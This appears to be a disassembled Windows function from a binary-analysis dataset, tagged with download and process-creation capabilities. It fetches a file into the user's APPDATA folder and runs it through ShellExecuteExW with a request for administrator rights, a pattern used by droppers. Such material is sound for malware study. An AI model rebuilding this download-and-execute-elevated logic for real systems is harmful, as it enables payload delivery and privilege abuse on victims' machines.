Function at 0x14001139d
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
jmp 0x140015d70
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2c8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x76
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2e8]
mov rax, qword [0x140024040]
xor rax, rbp
mov qword [rbp + 0x288], rax
lea rcx, [0x14002a0f4]
call fcn.140011654
mov qword [rbp + 8], 0
lea r8, str.APPDATA
xor edx, edx
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll__wdupenv_s]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x1f8]
call fcn.140011235
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x270], rax
lea r8, [0x1400205f4]
mov rdx, qword [rbp + 0x270]
lea rcx, [rbp + 0x238]
call fcn.1400113e3
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
mov qword [rbp + 0x280], rax
mov r8, qword [rbp + 0x2b8]
mov rdx, qword [rbp + 0x280]
lea rcx, [rbp + 0x28]
call fcn.14001169f
nop
lea rcx, [rbp + 0x238]
call fcn.1400115b9
nop
lea rcx, [rbp + 0x1f8]
call fcn.1400115b9
lea rcx, [rbp + 0x28]
call fcn.140011244
mov qword [rbp + 0x268], rax
mov rcx, qword [rbp + 0x2b0]
call fcn.140011244
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x268]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.1400115eb
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jl 0x140015f6e
lea rax, [rbp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x70
rep stosb byte [rdi], al
mov dword [rbp + 0x90], 0x70
lea rax, [0x1400205f8]
mov qword [rbp + 0xa0], rax
lea rcx, [rbp + 0x28]
call fcn.140011244
mov qword [rbp + 0xa8], rax
mov dword [rbp + 0xc0], 1
lea rcx, [rbp + 0x90]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140015f6c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x114], eax
cmp dword [rbp + 0x114], 0x4c7
jne 0x140015f3a
lea rdx, str.User_denied_the_administrator_privilege_request.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110c8
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140015f6c
lea rdx, str.Error_running_the_file_as_administrator._Error_code:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110c8
mov edx, dword [rbp + 0x114]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140015f9d
lea rdx, str.Error_downloading_file:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110c8
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
nop
lea rcx, [rbp + 0x28]
call fcn.1400115b9
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ff20]
call fcn.14001157d
mov rcx, qword [rbp + 0x288]
xor rcx, rbp
call fcn.140011339
lea rsp, [rbp + 0x298]
pop rdi
pop rbp
ret